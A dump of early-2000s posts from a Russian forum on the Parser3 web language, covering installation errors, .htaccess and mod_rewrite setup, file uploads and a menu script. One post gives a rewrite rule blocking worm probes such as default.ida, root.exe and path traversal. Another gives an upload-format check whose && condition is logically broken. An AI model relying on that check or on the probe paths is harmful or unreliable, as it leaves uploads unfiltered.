если вдруг такое, и вы упорствуете в том, чтобы не делать из этого нормальную базу, то знайте: parser теперь делает различие между грязым tab и чистым tab. грязные tab разделителями не являются.\
можно сделать замену tab на чистый tab и дальше сделать table::create, но честно: такое хранение=некрасиво=неправильно"
"3507","Вытаскиваем из БД нужную запись $info. Берем у этой записи значение поля \
[code]\
$info.field\
[/code]\
Оно содержит дословно\
[code]\
параметр 1>>значение 1\
параметр 2>>значение 2\
[/code]\
\
Разве на равнозначны эти определения?\
[code]\
$description[^table::create{param>>value\
$info.field}]\
\
$description[^table::create{param>>value\
параметр 1>>значение 1\
параметр 2>>значение 2\
[/code]"
"3508","Что-то не могу запустить Parser3 на Зеноновском хостинге. Там стоит FreeBSD. Вроде все настроил как надо. Пишет в браузере \"user-request(1): '/bhome/part2/01/star/www/Parser/index.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group- files configure option], actual filename '/bhome/part2/01/star/www/Parser/index.html' type: parser.runtime\"\
Не поможет ли кто разобраться?\
Спасибо"
"3510","В первом случае данные пришли из базы -> они \"грязные\"."
"3512","\
Вариант:\
[code]\
RewriteCond %{REQUEST_FILENAME} !-d\
RewriteCond %{REQUEST_FILENAME} !-f\
RewriteRule (.+) /index.html [l]\
[/code]\
циклит, вот кусок из лога:\
[code]\
...\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c0d00/initial] (2) init rewrite engine with requested uri /tpp.css\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c0d00/initial] (2) rewrite /tpp.css -> /index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c0d00/initial] (2) local path result: /index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c0d00/initial] (2) prefixed with document_root to c:/public_html/tpp/index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c0d00/initial] (1) go-ahead with c:/public_html/tpp/index.html [OK]\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c4d80/initial] (2) init rewrite engine with requested uri /img/0.gif\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c4d80/initial] (2) rewrite /img/0.gif -> /index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c4d80/initial] (2) local path result: /index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c4d80/initial] (2) prefixed with document_root to c:/public_html/tpp/index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c4d80/initial] (1) go-ahead with c:/public_html/tpp/index.html [OK]\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c5fc8/initial/redir#1] (2) init rewrite engine with requested uri /cgi-bin/parser3.exe/img/0.gif\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c5fc8/initial/redir#1] (2) rewrite /cgi-bin/parser3.exe/img/0.gif -> /index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c5fc8/initial/redir#1] (2) local path result: /index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c5fc8/initial/redir#1] (2) prefixed with document_root to c:/public_html/tpp/index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c5fc8/initial/redir#1] (1) go-ahead with c:/public_html/tpp/index.html [OK]\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c6e38/initial/redir#2] (2) init rewrite engine with requested uri /cgi-bin/parser3.exe/cgi-bin/parser3.exe/img/0.gif\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c6e38/initial/redir#2] (2) rewrite /cgi-bin/parser3.exe/cgi-bin/parser3.exe/img/0.gif -> /index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c6e38/initial/redir#2] (2) local path result: /index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c6e38/initial/redir#2] (2) prefixed with document_root to c:/public_html/tpp/index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c6e38/initial/redir#2] (1) go-ahead with c:/public_html/tpp/index.html [OK]\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c7db0/initial/redir#3] (2) init rewrite engine with requested uri /cgi-bin/parser3.exe/cgi-bin/parser3.exe/cgi-bin/parser3.exe/img/0.gif\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c7db0/initial/redir#3] (2) rewrite /cgi-bin/parser3.exe/cgi-bin/parser3.exe/cgi-bin/parser3.exe/img/0.gif -> /index.html\
192.168.1.10 - - [02/Jul/2002:17:40:21 +0600] [tpp/sid#527188][rid#5c7db0/initial/redir#3] (2) local path result: /index.html\
...\
[/code]\
\
Попробовал вот такой вариант:\
[code]\
RewriteCond %{REQUEST_URI} !(/cgi-bin/parser3.exe/).*\
RewriteRule !.*\\.(gif|jpg|png|css)$ /index.html\
[/code]\
работает."
"3513","Только в твоем случае что taint, что untaint - одна фигня, taint более тупой -> более быстрый."
"3516","http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi.tar.gz — CGI без XML \
http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi_xml.tar.gz — CGI с XML\
\
с этими версиями заработает"
"3517","В общем,для тех, кто не понял, код генерирует XML\
такого вида :\
[code]\
<collection>\
<row>...</row>\
<row>...</row>\
</collection>\
[/code]\
\
где ... - это ваши поля, к примеру \
если в таблице есть id и name (select id,name from table), то будет\
[code]\
<row><id>1</id><name>test1</name></row>\
<row><id>2</id><name>test2</name></row>\
<row><id>3</id><name>test3</name></row>\
[/code]\
\
Ну, к примеру, XSL может быть таким :\
[code]\
<xsl:template match=\"//row\">\
<table>\
<tr>\
<td><xsl:value-of select=\"id\"/></td>\
<td><xsl:value-of select=\"name\"/></td>\
</tr>\
</table>\
</xsl:template>\
[/code]\
\
Что выведет таблицу :)\
"
"3519","Мнится мне, что таки фигвам... :("
"3521","На Зеноне юзерские скрипты запускаются не от имени пользователя, а от [b][i]имени nobody[/i][/b]. Отсюда и все глюки. Парсер не хочет читать файлы не своей группы. Поставь версию парсера с отключенной проверкой имени группы."
"3527","как с помощью pcre сделать замену - например заменить ' на \\'\
Я извиняюсь мне надо не как это сделать в парсере - а может ли обычный c++ pcre сделать это???"
"3528","У хостера стоит линукс.\
Скачал parser.cgi и положил в /html/cgi-bin/\
parser3.conf и остальные папки настроек положил в /html/ppp/\
\
В .htaccess написал:\
\
_________________________________________________________\
# задание Главного конфигурационного файла\
# (укажите полный путь)\
SetEnv HTTP_PARSER_ROOT_CONFIG /ppp/parser3.conf\
# назначение обработчиком .html страниц:\
\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
CharsetDisable On\
__________________________________________________________\
\
удалял CharsetDisable On, менял путь Главного конфигурационного файла на home/www/web164/html/ppp/parser3.conf (хостер говорит что это полный путь). Ничего не помогает, всегда выдает Internal Server Error.\
Кто виноват? Что делать?\
Помогите кто-нибудь..."
"3529","Я имю ввиду не проверку на соответствие. Про is я знаю. Мне нужно получить строку, в которой содержится название типа.\
Ещё вот такая проблемка. Написал класс, назвал xtable. Делаю:\
[code]\
$t[^xtable::load[/file.cfg]]\
^if($t is 'xtable'){+}{-}\
[/code]\
Получаю \"-\". Как набо было проверять?"
"3530","Какие права установлены на parser3.cgi ?"
"3531","на parser3.cgi поставил 755"
"3532","1. Что в логе веб-сервера (if exists) ?\
2. При обращении к parser3.cgi напрямую то же самое ?\
\
P.S. Закачивал в бинарном режиме (может, попробовать еще раз)?"
"3534","закачал в бинарном, все заработало.\
как-то не подумал об этом в этот раз, извините.\
Ещё раз спасибо!"
"3537","вроде полностью поставил парсер.. доступ к конфигам сервера(Apache) имею(httpd.conf)\
но при попытки запуска скрипта парсер выдает следующее:\
c:/apache/cgi-bin/parser3.conf(3): 'windows-1251' unknown charset  type: parser.runtime\
подскажите плиз где копать или что делать?\
"
"3538","хочу разбить файл шаблонов на кусочки и в авто.п использовать кучу ЮЗов.\
\
"
"3539","Млин, я ж говорю, если ресайз делать с другой странички, то есть на одной выполнить сохранение, на другой ресайз все идет норамально, а в пределах одной файл не находится."
"3541","кодировки. У тебя переменная окружения HTTP_PARSER_ROOT_CONFIG определена? Проверь также все пути, может ошибся где, слэши посмотри в путях (это вряд-ли, правда)."
"3542","понятно. просто в хелпе сказано \"не злоупотреблять\" (...блять :-)"
"3544","когда в ^if конструкции в скобках встречается &nbsp;\
т.е. типа \
^if(...){\
...\
}{ \
            <td>&nbsp;</td>    \
} \
происходит ошибка:\
\
method of MAIN (method_frame) accepts maximum 3 parameter(s)\
if\
\
убираю нбсп и всё пучком. это глюк парсера или что?\
"
"3548","И потому, что ^if можно писать так:\
^if(условие){когда истина;когда ложь}\
\
как и вызов своего метода:\
@mymethod[p1;p2;p3] \
\
^mymethod[$param1][$param2][$param3]\
или\
^mymethod[$param1;$param2;$param3]\
\
"
"3549","MySQL может хранить строки.\
если не включать перекодирование, он не будет их трогать.\
так что что положите, то достаните.\
Unicode в виде UTF-8 в MySQL вполне работает в ряде наших проектов."
"3551","Дописал я таки инструмент для создания картиночных превьюков\
[url=http://www.spearance.tura.ru/parser3/pictures/new.html]Ресайз картинок[/url]\
Кому нужен код, поделюсь..."
"3552","Если вызываешь типа ^file::exec[/bin/ls]\
выдает:\
stat failed: No such file or directory (2), actual filename '/home/site/domains/www/bin/ls'"
"3553","временно никак, этот тип сейчас object. исправим. сообщим."
"3554","$buffer_message[^buffer_message.match[(\\s|^^)\\.\\.\\.([\\;\\.\\:\\/\\#\\)\\(\\-\\d\\sA-Za-z&#192;-&#223;&#224;-&#255;]+)([^^<br>|^$])][gi]{}]\
\
Почему выдает ошибку? Я же \"экранировал\" ;"
"3555","Во втором Парсере была ^upload[поле file; имя файла]\
А здесь как его определять?"
"3556","Какой реальный путь у проги?"
"3557","Слушай, если не сложно, кинь этот код мне на dbit@mail.ru"
"3559","Ну, пусть тот же /bin/ls"
"3560","$f[^file::exec[/bin/ls]]\
Если скрипт возвращает текстовый результат, то напиши\
$f.text\
Для ls нужно поменять права на -rwxr-xr-x"
"3561","В том то и весь прикол, я сохраняю файл на сервере переданный из формы, и мне нужно точно знать как он называется.\
А $file.name подразумевает, что я первоначально загружаю файл через\
$file.load[]\
Я же выполняю ^form:file.save[binary;имя_файла]\
Мне бы хотелось при сохранении оставлять первоначальное имя файла."
"3562","Да не выходит. Во первых задаешь /bin/ls а он путь выдает не от корня (см. первое сообщение)\
А во вторых можно ли выполнить любую команду ОС, не зная полного пути к ней?"
"3564","[quote]\
Поле содержит имя файла. Объект класса file имеет поле name, если пользователь выбрал файл через поле формы с типом <input type=file>. \
[/quote]\
\
Таким образом должно работать следующее:\
[code]\
^form:file.save[binary;$form:file.name]\
[/code]"
"3565","без начального слеша - от текущего места.\
Если надо вылезти из веб пространства:\
\
/../cgi-bin/\
\
Не зная пути - не запустишь.\
"
"3567","Пишешь простейший скриптик на perl\
[code]\
#!/usr/bin/perl\
print `/bin/ls`;\
[/code]\
а потом зовешь его через exec и смотришь в $f.text, а если добавишь вывод Content-type, то можешь и как cgi пускать."
"3568","надо держать такие скриптики ЗА веб-пространством - не секъюрны они... ;-) или удалять сразу после однократного использования ;-)))"
"3571","Уважаемые гуру и монстры парсера :) подскажите чайнику как реализовать многострочное меню, как например тут: таблица из двух строк, код не прошу дайте подсказку, хотя от кода тоже не откажусь :) Заранее спасибо. "
"3574","Спасибо, получил."
"3575","Новости хранятся в отдельном файле, откуда по мере необходимости они берутся. Там они в минимальном форматировании, но кое-какие теги все же есть.\
\
Есть код, взятый из справочника и немного подправленный:\
$tainted[^file::load[binary;/issues/001/news.html]] \
$tained.text\
\"Грязные\" данные - $tainted<br> \
\"Чистые\" данные - ^untaint{$tainted.text}\
\
Так вот, не работает. Никак не могу понять, про что говорится здесь:\
e:/program files/apache group/apache/htdocs/auto.p(3): 'body' contains illegal assignment attempt of file to MAIN class, use constructor  type: parser.runtime"
"3576","[code]\
\"Грязные\" данные - $tainted<br>\
[/code]\
\
Ты пытаешься в страницу выдать... файл...\
Правильно так:\
[code]\
\"Грязные\" данные - $tainted.text<br>\
[/code]"
"3578","Вот код. К нему нужно ещё сделать файл\
sections.dat\
[code]\
Поля, типа :)))\
id >> uri >> name >> inscription >> in_menu\
( >> - это табуляторы)\
[/code]\
[code]\
@showMainMenu[width;cols] Выводит меню навигации по разделам сайта\
#Определяем количество элементов меню\
$menuItems[0]\
^section.menu{\
	^if($section.in_menu!=0){$menuItems($menuItems+1)}\
}\
#В случае если не задано количество столбцов, оно устанавливается равным количеству элементов меню.\
^if(!def $cols || $cols>$menuItems){$cols[$menuItems]}\
#В случае если не задана ширина меню, она устанавливается равной 100%.\
^if(!def $width){$width[100%]}\
#Определяем размер столбцов $columnWidth, в зависимости от их количества и ширины всего меню. Размер может быть указан в процентах, в этом случае, ширина столбца считается как (100/количество столбцов)%, чтобы они все имели одинаковый размер. Если размер не в процентах, то в переменную $rest кладём остаток от деления, который понадобится если нужно чтобы меню точно соответствовало указанному размеру.\
$percent[^width.match[(^^[0-9]+)][gi]{$columnWidth[$match.1]}]\
^if(def $percent){\
	$columnWidth[^eval(100\\$cols)$percent]\
}{\
	$columnWidth[^math:floor(^eval($columnWidth/$cols))]\
	$rest($width%$cols)\
}\
#Определяем количество строк меню.\
$rows[^math:ceiling($menuItems/$cols)]\
#Формируем хэш $hMenu, имеющий вид $hMenu.строка.столбец[и там ещё параметры].\
$endTable(0>1)\
$hMenu[\
	^for[i](1;$rows){\
		$.$i[\
#Переменная для контроля цикла.\
			$endWhile(0<1)\
			$j[0]\
			^while($endWhile){\
#Проверяем, показывать ли элемент в меню.\
				^if($section.in_menu==1){\
					$j($j+1)\
					$.$j[\
#Проверяем, достигнут ли конец таблицы. Если конец таблицы достигнут то оставшиеся элементы пустые.\
						^if(!$endTable){\
							$.uri[${root}$section.uri]\
							$.name[$section.name]\
#Проверяем, является ли элемент активным.\
							^if($section.id==$sectionId){\
								$.state[active]\
							}{\
								$.state[default]\
							}\
						}{\
							$.uri[]\
							$.name[]\
							$.state[empty]\
						}\
					]\
					^if($j==$cols){$endWhile(0>1)}\
				}\
				^if(^section.line[]>=$section){\
					$endTable(0<1)\
				}{\
					^section.offset(1)\
				}\
			}\
		]\
	}\
	$endTable[]\
	$endWhile[]\
]\
#Выводим таблицу меню.\
<table width=\"$width\" border=\"0\" cellspacing=\"1\" cellpadding=\"2\" bgcolor=\"#000000\" class=\"mainMenu\">\
^for[i](1;$rows){\
	<tr bgcolor=\"#ffffff\">\
	^for[j](1;$cols){\
		^switch[$hMenu.$i.$j.state]{\
			^case[active]{\
				<td ^if($i==1){width=\"$columnWidth\" }class=\"mainMenuActiveItem\" bgcolor=\"#99ccff\" align=\"middle\">$hMenu.$i.$j.name</td>\
			}\
			^case[default]{\
				<td ^if($i==1){width=\"$columnWidth\" } class=\"mainMenuItem\" align=\"middle\"><a href=\"$hMenu.$i.$j.uri\">$hMenu.$i.$j.name</a></td>\
			}\
			^case[empty]{\
				<td ^if($i==1){width=\"$columnWidth\" } class=\"mainMenuItem\" align=\"middle\">Q!&nbsp^;</td>\
			}\
		}\
	}\
#Если первая строка и определён $rest то добавляем в таблицу столбец, чтоб размер точный был.\
#Только всё равно, наверное размер не будет точным поскольку есть ещё cellpadding и cellspacing.\
	^if($i==1 && $rest!=0){\
		<td rowspan=\"$rows\" width=\"$rest\" bgcolor=\"#990000\"></td>\
	}\
	</tr>\
}\
</table>\
[/code]"
"3579","Хостинг у dwebhost (FreeBSD). parser3.conf видит однозначно - MySQL - работает. В директории cgi-bin лежит парсер, там же его parser3.conf. Директория parser3.charsets с файлами создана в том же cgi-bin. На все файлы стоит 0755\
\
.htaccess:\
\
SetEnv HTTP_PARSER_ROOT_CONFIG /pub/home/vkc59/cgi-bin/parser3.conf\
#SetEnv HTTP_PARSER_SITE_CONFIG /pub/home/vkc59/htdocs/parser3.conf\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg:txt)$\">\
Order allow,deny\
Deny from all\
</Files>\
CharsetDisable On\
\
\
parser3.conf:\
\
$charsetsdir[/pub/home/vkc59/cgi-bin]\
$sqldriversdir[/pub/home/vkc59/cgi-bin/lib]\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
\
\
В чем проблема? Что я только не делал - безрезультатно! :("
"3580","Не понял? Вместо ; нужно &#192; писать? В доке об этом не написано. А просто \\; нельзя?"
"3581","Только что заметил, что мою строчку в форуме перекодировали :)\
\
Да, все работает, кроме ;"
"3582","HTTP_PARSER_ROOT_CONFIG определен.."
"3583","Нужно сжать каритнку из папки Х размером 150*150 и поместить в папку У, но уже разщмером 75*75. Внимание вопрос! Как этос делать?"
"3587","Вот какая ошибка мне пришла.\
\
user-request(1): '/бла/бла/бла/jam.html' parser reading files of foreign group disabled [recompile parser without --disable-foreign-group-files configure option], actual filename '/бла/бла/бла/jam.html'  type: parser.runtime\
\
htaccess прописан как у дохтура. парсер для freebsd.\
\
ПОМОГИТЕ ЧЕМ СУМЕЕТЕ! ПОЖАЛУЙСТА!"
"3588","У тебя (твоего провайдера) веб сервер (апач скорее всего?) настроен запускать пользовательские скрипты [i]не от имени пользователя[/i], а от другого имени (у меня на zenon.net — [b]nobody[/b]).\
Парсер же скомпилен так, чтобы открывать файлы, созданные от имени, с которым он запущен. Это описано в [url=\"http://www.parser.ru/faq/\"]FAQ парсера (в конце)[/url].\
Нужно: либо уболтать админа (ню-ню…), либо поставить парсер без проверки (взять такой парсер: [url=\"http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi_xml.tar.gz\"]CGI для FBSD с XML[/url], [url=\"http://www.parser.ru/f/1/download/freebsd/parser3_1_0_0001_freebsd45R_grpunlim_cgi.tar.gz\"]CGI для FBSD без XML[/url]).\
\
PS. Ниже в форуме эта ситуация часто встречается."
"3589","Щас описание напишу, выложу..."
"3590","Сабж! И как их подклучать? Где модуль брать? Поможите пжалуста!"
"3591","$charsetsdir[/pub/home/vkc59/cgi-bin]\
\
может все-таки так:\
\
$charsetsdir[/pub/home/vkc59/cgi-bin/parser3.charsets]"
"3592","специальный драйвер не написан. Если через ODBC нельзя, то увы"
"3593","Если\
[code]\
<form method=\"post\" name=\"form_name\">\
    <input name=\"field\" type=\"text\">\
    …\
</form>\
[/code]\
Как бы вместо\
[code]$form.field[/code]\
обращаться к\
[code]$form_name.field[/code]"
"3596","[code]\
<form method=\"get\" name=\"form_name1\">\
    <input name=\"field1\" type=\"text\">\
    …\
</form>\
\
<form method=\"get\" name=\"form_name2\">\
    <input name=\"field2\" type=\"text\">\
    …\
</form>\
[/code]\
\
потом засабмить какую-нить из этих форм и посмотри что тебе придет в запросе... я думаю вопросы отпадут."
"3597","Я и так делал, и по другому. :( Уже не знаю что и делать? Вообще отключил перекодировку :("
"3598","кто-нибудь знает команды отправки почты у этого провайдера?\
\
/usr/sbin/sendmail -t \
/usr/lib/sendmail -t\
\
не работают"
"3600","и показал его превью!\
Персер.цги проглотил, но показать отказался... глазами не увидишь...\
\
Может таки придумаем совместно как отсекать то, что не должно приходить на сервер?"
"3601","Эта скриптина конвертает практически любые графические форматы. Если нужно сделать проверку, то это не сложно...\
$str[$form:pict.name]\
^if(^str.right(3) eq jpg && ^str.right(3) eq gif && ^str.right(3) eq png)\
{конвертируем}\
{иначе выводим предупреждение о неверности формата}\
\
That's как говорится all..."
"3602","Огромаднейшее спасибо, буду пробовать."
"3605","А именно, схемы и методы построения сайта, блоки и т.п.\
\
Вот к примеру мой вариант.\
все - в подкаталогах (/about/, /gbook/, ...)\
@main из auto.p\
[code]\
@main[] \
^connect[$connect_string]{\
^header[]\
^body[] \
^footer[]\
}\
[/code]\
$connect_string - в parser3.conf (для сайта)\
\
header и footer - лежат в auto.p\
классы - в /classes/\
\
среднестатистическая страница выглядит :\
@use\
gbook.p\
@body[]\
$gbook[^gbook::load[5]]\
^gbook.show[]\
^gbook.showform[]\
\
У кого какие мнения, варианты, комментарии ?"
"3606","Громадное спасибо :)\
У меня Valuehost.\
Пошел трясти админа.\
А ссылки на файлы, мне данные, так это некомпилированные что ли? :)) Нет, мы так не играем, спасибо :)"
"3607","1. все в базе данных (кроме картинок/файликов для скачивания)\
2. один документ на весь сайт (+классы +auto.p +файлики административного интерфейса).\
3. все кешируется.\
4. типовой документ не имеет кода парсера, а имеет блоки с xml-данными (очень часто <p>xxx</p> и т.д.)\
5. внешний вид - xsl шаблоны (к ним я не притрагиваюсь, их делают те, кто хорошо знает xsl/html)\
\
если таки дойдут руки сделаю для этого дела презенташку...\
\
Когда не все держал в базе - делал примерно как у тебя (+ кеширование)"
"3608","я просто конфиг для сайта прописал в авто.п, хотя конечно это не очень удобно.\
"
"3609","Если страница генерится динамически - есть допустим авторизая и у каждого пользователя стр. своя (местами).\
Не проще ли расхожие файлы, как структура разделов, или данные редко обновляемые главн. админам держать в tab-delimited файлах.\
Обращение к базе по пустякам ведь стоит времени?"
"3610","Кешировать можно не только страницу целиком, но и персональный контент отдельно...\
\
И... такого я с этим механизмом не делал... Пока..."
"3611","когда писал на PHP была такая же структура, но я решил отказаться от нее, ведь XML не всегда легко правится, и еще всякие dhtml editors генерируют не сосвем правильный XMLный код.\
\
Вот недавно наступило прозрение.\
Раньше делал на обработчике 404,\
а он, оказывается POST'om не передает переменные.\
Ну и делал все через зад - с POST'om на реальные файлы, и рефрешем на url.\
\
Но наступил момент, и попробовал я ч-з mod_rewrite,\
и запостились переменные, и вот он момент истины :)"
"3612","Я его первый раз ставлю...\
\
Винда. apache 1.3.26  Обычный parser3.exe\
\
вот что в   конф. файле\
<VirtualHost 127.0.0.1:*>\
    ServerAdmin avenger@rubtsosk.ru\
    DocumentRoot d:/underground\
    ServerName underground\
    SetEnv HTTP_PARSER_ROOT_CONFIG d:/apache/conf/parser3.conf\
    AddHandler parsed-html htm \
    AddHandler parsed-html html\
    Action parsed-html d:/underground/parser3\
    ErrorLog logs/underground-error.log\
    CustomLog logs/underground-access.log common\
    DirectoryIndex index.htm\
    <Files ~ \"\\.p$\">\
    Order allow,deny\
    Deny from all\
   </Files>\
</VirtualHost>\
\
Не хотит работать... %("
"3613","Обычно там только разметка используется...\
Соответственно XML код очень простой.\
\
Но иногда бывает нужно сделать сложный XML (для нетривиальной задачи) - но это все равно XML\
\
Т.е. тут - параграф, тут - список...\
\
Собственно кроме mod_rewrite ничего и не рассматривается мной в подобной реализации :)\
=> Апач\
"
"3614","[code]\
AddHandler parsed-html .htm .html\
[/code]\
вместо\
[code]\
AddHandler parsed-html htm \
AddHandler parsed-html html\
[/code]"
"3615","> 2. один документ на весь сайт (+классы +auto.p +файлики административного интерфейса).\
\
лежит в корне? и все подкаталоги формируются с помощью mod_rewrite?"
"3616","Идея идет еще из е'перла и 2-го парсера:\
1) Есть люди - редакторы html\
2) Есть веб-промоутер (я то бишь)\
3) Есть маркетолог.\
4) Есть еще приглашаемый дизайнер\
Все эти типы должны работать независимо, а редакторы к тому же обожают писать ссылки прямо в тексте.\
Поэтому структура сайта сохранена прямо на рабочем месте - как был /production/vibrator.htm, так и на сервере остался.\
Вот его структура:\
\
\
<html>\
Начинается с рабочего \"редакторского\" html-а\
@main[]\
- Здесь можно переопределить заглавные теги\
^getit[]\
- Вызывается куча функций, которые формируют документ\
@body[]\
- А здесь уже идет тот html, который будет выводиться на сайте\
т.е. либо это текст, в котором без логического форматирования - никак, либо тоже шаблончики ипа @product[id], $mailform\
\
\
В основном файле вызывается таблица, в которой я могу полностью переопределить структуру, разделы и навигацию сайта, описание и ключевые слова любого файла, другая, в которой описан вывод рекламы, из него же вызывается один из 6- шаблонов дизайна.\
Структура шаблона:\
<куча html-тегов >\
$topmenu\
<куча html-тегов >\
$menu_level2\
<куча html-тегов >\
$body\
<куча html-тегов >\
$bottom\
\
В результате получается 100-200 файлов с текстом, 1-2 - весь код и 6-7 шаблонов дизайна.\
\
Приятно то, что люди могут работать над сайтом независимо.\
Неприятно то, что нельзя полностью перейти на классы (первый файл дает нормально породить только внешние переменные), и 400 строк кода - уже пердел."
"3617","все равно %("
"3618","почему не пользуешься основным? у тебя на машине несколько сайтов?"
"3619","для него надо иметь IP отличный от IP основного\
например: \
для основного 192.168.1.1\
для виртуального 192.168.1.2\
\
и далее\
\
NameVirtualHost 192.168.1.2\
\
<VirtualHost 192.168.1.2>\
...\
</VirtualHost>"
"3620",".... блина... может быть... Шаз попробую...\
погоди никуда не девайся %)"
"3621","на мыло кинь свой настройки avenger@rubtsovsk.ru"
"3622","Ну конечно в корне!"
"3626","http://www.isapirewrite.com/\
\
W:\\test\\httpd.ini\
[ISAPI_Rewrite1.0]\
\
# defend your computer from some worm attacks\
RewriteRule .*(default\\.ida)|(root\\.exe)|(\\.\\.).* /antiworm.asp [L]"
"3627","сорри за глупости и оффтопик, но надо срочно, а с сабжем не приходилось общатся. Содержимое /news/.htaccess:\
[code]\
RewriteEngine   on\
RewriteRule     ^/news/(\\d{4})/$  /news/news_korp.html?korp=$1 [R=permanent]\
[/code]\
пытаюсь зайти на /news/1423/ - меня не редиректит. выдает 404ую, так как, ессно, /news/1423/ не существует. В логе об этом же и пишут. Где здесь не так?"
"3630","по моему не надо это говорить, иначе ты включаешь внешнюю редирекцию и у посетителя в броузере поменяется URL."
"3631","См. http://www.parser.ru/forum/?id=1239"
"3632","я чайник и в программировании и в создании сайтов.\
есть десяток сайтов созданных стандартным шаблонным образом.\
вот попал к вам и сразу запутался-вначале зашел на страничку дизайн ру и оттуда узнал о вас.там все красиво написано,а здесь-чайники наверное путаются пугаются что не справятся и уходят.\
почему бы вам для таких как я не сделать раздел \"с чего начать\"\
и подробно по пунктам там все описать?\
вы конечно можете написать что мол читай FAQ и не задавай нам дурацкие вопросы-это ваше право.но я уверен-таких как я,которые хотеля бы сами создавать свои сайты с помощью вашей проги много,и так же у таких как я есть комплекс,того,что у меня может не получиться сделать это..так как можно запутаться в массе информации\
 и это и более всего пугает...\
поэтому и просьба -сделать раздел\"с чего начать\" и там все по пунктам расписать.\
\
большое спасибо за ответы.\
\
будет здорово если они будут положительные:)"
"3633","Вообще это довольно глупо. Парсер разрабатывался специально с прицелом на HTML, так почему было не позаботится, чтобы не было пересечения спецсимволов? В HTML символов с особым значением совсем немного: <, >, &, =, \", #, ;. Последние четыре работают как спецсимволы только в особых контекстах, но все равно они часть синтаксиса HTML и используются довольно часто, так что требовать их escape-ить нежелательно, мягко говоря. Неужели нельзя было выбрать для парсера только спецсимволы НЕ из этого набора???"
"3634","/pub/home/esterman/htdocs/pass.html(2): 'var' (void) not a method or junction, can not call it  type: parser.runtime\
\
Ужас! Что делать?"
"3635","А если серьезно, то давай-ка сюда свой код.\
Кстати, ты попробовал выполнить уроки из документации ? :-)))"
"3636","Это я ради интереса взял код генератора паролей для версии 2.0. При любой другой программе так же."
"3637","Установить парсер - в доке, возможно, маловато, но есть форум (и поиск по форуму).\
В доке - http://www.parser.ru/f/1/docs/20020613parser3.chm - подробно описан процесс создания простейшего сайта (уроки 1-5).\
\
ИМХО, стоит проделать их.\
Мне здорово помогло. Были мыслишки остаться на 2-м парсере."
"3638","Вроде все заработало.... правда на втором апаче... Правда где грабли так и не понял"
"3641","parser.hoha.ru - там про установку немного написано, может пригодицца..."
"3642","В парсере2:\
1) Переменные, как и полагается, видны сверху вниз\
но макросы - только снизу вверх. Т.е., макрос, стоящий выше текущего, нельзя из него вызвать.\
2) @main[] и @autoexec[] можно вызвать только один раз. Сколько бы их не было в подключаемых файлах, выполняется только один.\
В парсере 3:\
- та же фигня с иерархией: я еще до конца не разобрался, но по ходу если вызывать методы ближайшего сверху по иерархии auto.p, методы, описанные  в более высоком auto.p, перестают выполняться - парсер пишет, что таких нет. Причем такое происходит не всегда, а периодически и пропадает, если заново переписать код (после сравнения он все равно идентичен).\
\
И еще фигня в обоих: на высоком уровне вложенности (>5) инструкций типа if(), switch()появляются такие бяки:\
Код\
^var[myvar;Сокол]\
^eq[myvar;Сокол;Совпадает;Не совпадает]\
возвращает \"Не совпадает\"!!!\
"
"3643","Такая вот беда...\
Я ему:\
[code]\
$now[^date::now[]]\
<form  method=\"post\" enctype=\"multipart/form-data\">\
\
<input type=\"File\" name=\"photo\">\
\
<input type=\"Submit\">\
\
</form>\
^if(def $form:photo){ \
   ^form:photo.save[binary;/${now.second}.jpg] \
}\
\
[/code]\
А он рассказывает, что \"бинари\" неправильній тип, а правильным будет \"аппенд\".\
а еще время от времени просто сервак страницу не находит.\
"
"3644","Это я про auto.p"
"3645","а если точнее, товот чего он калячит:\
[color=\"red\"]\
'binary' unknown mode, must be 'append'  type: parser.runtime\
[/color]"
